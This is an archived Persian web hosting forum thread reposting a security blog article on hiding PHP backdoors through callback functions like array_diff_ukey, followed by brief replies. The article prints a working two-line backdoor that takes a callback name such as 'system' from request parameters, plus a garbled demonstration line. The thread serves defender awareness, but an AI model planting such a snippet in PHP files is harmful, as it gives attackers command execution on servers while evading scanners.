PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : توابع PHP Callback راه جدید مخفی کردن Backdoorها



zartosht
April 28th, 2014, 09:41
توجه به بررسی‌هایی امنیتی روزانه که در ایران‌سرور (http://www.iranserver.com) انجام می‌شود، تکنیک‌هایی که نویسنده‌گان malware (مخرب)ها برای بکارگیری آن استفاده می‌کنند گاهی بسیار بامزه و جذاب است، و سبب شادی و نشاط می‌شود، اما بسیاری از این تکنیک‌ها بسیار مخرب هستند و می‌توانند مدیر یک سایت و یا حتی یک سرور را در شرایط بحرانی قرار دهند. متن زیر به یکی از همین تکنیک‌های مخرب اشاره خواهد داشت.
http://blog.iranserver.com/wp-content/uploads/2014/02/Thief-256x300.jpg

تمام کسانی که به نوعی با زیان PHP و دستورات آن آشنایی دارند تابع eval() و کاربردش را می‌شناسند. کاربرد این تابع ارزیابی اعتبار رشته‌های ورودی به عنوان دستور PHP است. به عبارت دیگر اجرا کننده کد است. در حال‌حاضر روش‌های زیادی برای اجرای دستور در زبان PHP وجود دارد، روش‌هایی که زیاد شفاف نیستند.

یکی از این راه‌ها بسیار معمول، استفاد از تابع preg_replace() می‌باشد. با توجه به توضیح تابع preg_replace()، این تابع اجرا کننده‌ی یک عبارت منظم search and replace (جستجو و تغییر) است. متاسفانه زمانی که از “\e” در این تابع استفاده شود، این تابع دستور را اجرا خواهد کرد.

از دیگر راه‌های اجرای دستورات می‌توانcreate_function() و the assert() را برشمرد، انتخاب‌هایی که برای اجرای یک دستور وجود دارد، تحلیل و شناسایی نرم‌افزارهای مخرب را پیچیده‌تر می‌کند. به‌همین دلیل است که می‌گوییم، حتی با دانش و مهارتی که ما داریم، همچنان به دنبال پیدا کردن راه‌های زیرکانه و مبتکرانه نویسندگان مخرب‌ها در بکارگیری backdoor‌هایشان هستیم.
backdoor‌:

با تزریق دو خط مانند زیر به ابتدای یک فایل PHP معتبر، حمله شروع می‌شود.

@array_diff_ukey(@array((string)$_REQUEST['password']=>1),
@array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);








با کمی دقت متوجه مشکل تابع callback خواهید شد، نویسنده مخرب، تابع callback را به عنوان یک متغییر ورود تنظیم کرده‌است؛ متغیری که به وسیله مهاجم کنترل می‌گردد. بنابراین او می‌تواند وارد سیستم شده و به عنوان یک کاربر معتبر، بر روی سرور دستورات و توابع مورد نیاز خود را اجرا کند.


به مثال زیر دقت کنید:


<?php
arry_diff_ukey(@array('echo All your data belong to me!" =>1)/@array("=>2).'system');
?>


به‌همین سادگی با استفاده ار این ترفند می‌توان یک دستور سیستمی اجرا کرد و متاسفانه هیچ کدام از آنتی‌ویروس‌هایی که ما مورد آزمایش قرار دادیم، این خط را به عنوان یک مخرب شناسایی نکرد.

مسئله مهم چیست؟

بیشتر ابزارهای امنیتی و مقالات به وب مسترها پیشنهاد می‌دهند به دنبال زیر مجموعه‌های خاصی از توابع که معمولا برای اهداف مخرب استفاده می‌شود باشند. مانند eval ،preg_replace ،base64_decode و از این قبیل. دلیل آن کاملا مشخص است، مهاجم‌ها نیز دقیقا به دنبال همین توابع برای رسیدن به اهداف خود هستند.


کلام آخر اینکه دقت داشته باشید، تابع array_diff_ukey() تنها تابعی نیست که می‌توان از آن چنین استفاده‌ای کرد، هر تابعی که ماهیت callback را در خود داشته باشد، به مهاجم امکان استفاده در جهت پیشبرد اهدافش را خواهد داد.



منبع :
توابع PHP Callback راه جدید مخفی کردن Backdoorها - ایران سرور (http://blog.iranserver.com/php-callback-functions-hide-backdoors/)

M.Abooali
May 5th, 2014, 02:22
بله دوست عزیز ، مخربین می توانند به راحتی و با استفاده از توابع callback سرور را مغلوب خود نمایند و به اهداف خودشان دست پیدا کنند البته این هم یکی از را ههای دستیابی آنها می باشد.

iceemo
May 5th, 2014, 14:10
توجه به بررسی‌هایی امنیتی روزانه که در ایران‌سرور (http://www.iranserver.com) انجام می‌شود، تکنیک‌هایی که نویسنده‌گان malware (مخرب)ها برای بکارگیری آن استفاده می‌کنند گاهی بسیار بامزه و جذاب است، و سبب شادی و نشاط می‌شود، اما بسیاری از این تکنیک‌ها بسیار مخرب هستند و می‌توانند مدیر یک سایت و یا حتی یک سرور را در شرایط بحرانی قرار دهند. متن زیر به یکی از همین تکنیک‌های مخرب اشاره خواهد داشت.
http://blog.iranserver.com/wp-content/uploads/2014/02/Thief-256x300.jpg

تمام کسانی که به نوعی با زیان PHP و دستورات آن آشنایی دارند تابع eval() و کاربردش را می‌شناسند. کاربرد این تابع ارزیابی اعتبار رشته‌های ورودی به عنوان دستور PHP است. به عبارت دیگر اجرا کننده کد است. در حال‌حاضر روش‌های زیادی برای اجرای دستور در زبان PHP وجود دارد، روش‌هایی که زیاد شفاف نیستند.

یکی از این راه‌ها بسیار معمول، استفاد از تابع preg_replace() می‌باشد. با توجه به توضیح تابع preg_replace()، این تابع اجرا کننده‌ی یک عبارت منظم search and replace (جستجو و تغییر) است. متاسفانه زمانی که از “\e” در این تابع استفاده شود، این تابع دستور را اجرا خواهد کرد.

از دیگر راه‌های اجرای دستورات می‌توانcreate_function() و the assert() را برشمرد، انتخاب‌هایی که برای اجرای یک دستور وجود دارد، تحلیل و شناسایی نرم‌افزارهای مخرب را پیچیده‌تر می‌کند. به‌همین دلیل است که می‌گوییم، حتی با دانش و مهارتی که ما داریم، همچنان به دنبال پیدا کردن راه‌های زیرکانه و مبتکرانه نویسندگان مخرب‌ها در بکارگیری backdoor‌هایشان هستیم.
backdoor‌:

با تزریق دو خط مانند زیر به ابتدای یک فایل PHP معتبر، حمله شروع می‌شود.

@array_diff_ukey(@array((string)$_REQUEST['password']=>1),
@array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);








با کمی دقت متوجه مشکل تابع callback خواهید شد، نویسنده مخرب، تابع callback را به عنوان یک متغییر ورود تنظیم کرده‌است؛ متغیری که به وسیله مهاجم کنترل می‌گردد. بنابراین او می‌تواند وارد سیستم شده و به عنوان یک کاربر معتبر، بر روی سرور دستورات و توابع مورد نیاز خود را اجرا کند.


به مثال زیر دقت کنید:


<?php
arry_diff_ukey(@array('echo All your data belong to me!" =>1)/@array("=>2).'system');
?>


به‌همین سادگی با استفاده ار این ترفند می‌توان یک دستور سیستمی اجرا کرد و متاسفانه هیچ کدام از آنتی‌ویروس‌هایی که ما مورد آزمایش قرار دادیم، این خط را به عنوان یک مخرب شناسایی نکرد.

مسئله مهم چیست؟

بیشتر ابزارهای امنیتی و مقالات به وب مسترها پیشنهاد می‌دهند به دنبال زیر مجموعه‌های خاصی از توابع که معمولا برای اهداف مخرب استفاده می‌شود باشند. مانند eval ،preg_replace ،base64_decode و از این قبیل. دلیل آن کاملا مشخص است، مهاجم‌ها نیز دقیقا به دنبال همین توابع برای رسیدن به اهداف خود هستند.


کلام آخر اینکه دقت داشته باشید، تابع array_diff_ukey() تنها تابعی نیست که می‌توان از آن چنین استفاده‌ای کرد، هر تابعی که ماهیت callback را در خود داشته باشد، به مهاجم امکان استفاده در جهت پیشبرد اهدافش را خواهد داد.



منبع :
توابع PHP Callback راه جدید مخفی کردن Backdoorها - ایران سرور (http://blog.iranserver.com/php-callback-functions-hide-backdoors/)

یعنی اینجوری که شما میگید
به راحتی میشه یه سرور رو از پا دراورد؟
یعنی این وسط انتی ویروس کشکه؟
خیلی جالبه!
بعد مثلا راهی برای جلو گیری از اینجور حملات هست یا نه باید هر روز منتظر باشی بیای ببینی سایتت نیست

M.Abooali
May 5th, 2014, 18:07
iceemo (http://www.webhostingtalk.ir/member/75254/)، در بحث امنیت به خاطر داشته باشید:

این خلاقیت است که حرف اول را میزند نه تکنولوژِی.

در حقیقت تمام نرم افزارهای امنیتی شما، و بستن راه های نفوذی که دستی صورت می گیرد، در مقابل یک نفوذگر خلاق که از ساده ترین توابع جهت نفوذ و تخریب بهره می برد، فلج هستند، چون گاهی با ابتدایی ترین توابع داره یک نفوذ اتفاق می افتد و شما اساسا قدرت بستن اون توابع را ندارید چون عملا سرورتان بی فایده خواهد بود و برای اجرا خیلی از فایل ها به مشکل خواهد خورد.